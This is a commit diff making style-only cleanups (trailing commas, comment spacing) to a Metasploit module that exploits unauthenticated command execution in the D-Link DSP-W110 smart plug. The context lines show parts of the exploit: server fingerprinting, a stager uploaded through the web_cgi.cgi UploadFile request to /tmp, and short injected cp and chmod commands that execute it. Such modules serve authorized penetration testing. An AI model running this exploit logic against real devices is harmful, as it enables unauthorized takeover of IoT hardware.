final cleanup

Author: firefart

modules/exploits/linux/http/dlink_dspw110_cookie_noauth_exec.rb

@@ -23,7 +23,7 @@ def initialize(info = {})
       'Author'         =>
         [
           'Peter Adkins <peter.adkins[at]kernelpicnic.net>', # vulnerability discovery and initial PoC
-          'Michael Messner <devnull[at]s3cur1ty.de>', # Metasploit module
+          'Michael Messner <devnull[at]s3cur1ty.de>' # Metasploit module
         ],
       'License'        => MSF_LICENSE,
       'Platform'       => 'linux',
@@ -49,7 +49,7 @@ def initialize(info = {})
               'Platform' => 'linux',
               'Arch'     => ARCH_MIPSBE
             }
-          ],
+          ]
         ],
       'DefaultTarget'    => 1
       ))
@@ -59,7 +59,7 @@ def check
     begin
       res = send_request_cgi({
         'uri'    => '/',
-        'method' => 'GET',
+        'method' => 'GET'
       })
 
       if res && res.headers["Server"] =~ /lighttpd\/1\.4\.34/
@@ -83,14 +83,14 @@ def exploit
     @counter = 1
     execute_cmdstager(
       :flavor  => :echo,
-      :linemax => 95  #limited by our upload, larger payloads crash the web server
+      :linemax => 95  # limited by our upload, larger payloads crash the web server
     )
 
     print_status("#{peer} - creating payload and executing it ...")
 
     (1 .. @counter).each do |act_file|
-      #the http server blocks access to our files ... we copy it to a new one
-      #the length of our command is restricted to 19 characters
+      # the http server blocks access to our files ... we copy it to a new one
+      # the length of our command is restricted to 19 characters
       cmd = "cp /t*/#{act_file} /tmp/#{act_file+@counter}"
       execute_final_command(cmd)
       cmd = "chmod +x /tmp/#{act_file+@counter}"
@@ -105,8 +105,8 @@ def exploit
   end
 
   def execute_command(cmd,opts)
-    #upload our stager to a shell script
-    #upload takes quite long because there is no response from the web server
+    # upload our stager to a shell script
+    # upload takes quite long because there is no response from the web server
 
     file_upload = "#!/bin/sh\n"
     file_upload << cmd << "\n"
@@ -124,7 +124,7 @@ def execute_command(cmd,opts)
         'uri'           => "/web_cgi.cgi",
         'vars_get' => {
           '&request' =>'UploadFile',
-          'path' => '/tmp/',
+          'path' => '/tmp/'
         },
         'encode_params' => false,
         'ctype'         => "multipart/form-data; boundary=#{post_data.bound}",
@@ -137,7 +137,7 @@ def execute_command(cmd,opts)
   end
 
   def execute_final_command(cmd)
-    #very limited space - larger commands crash the webserver
+    # very limited space - larger commands crash the webserver
     fail_with(Failure::Unknown, "#{peer} - Generated command for injection is too long") if cmd.length > 18
     begin
       send_request_cgi({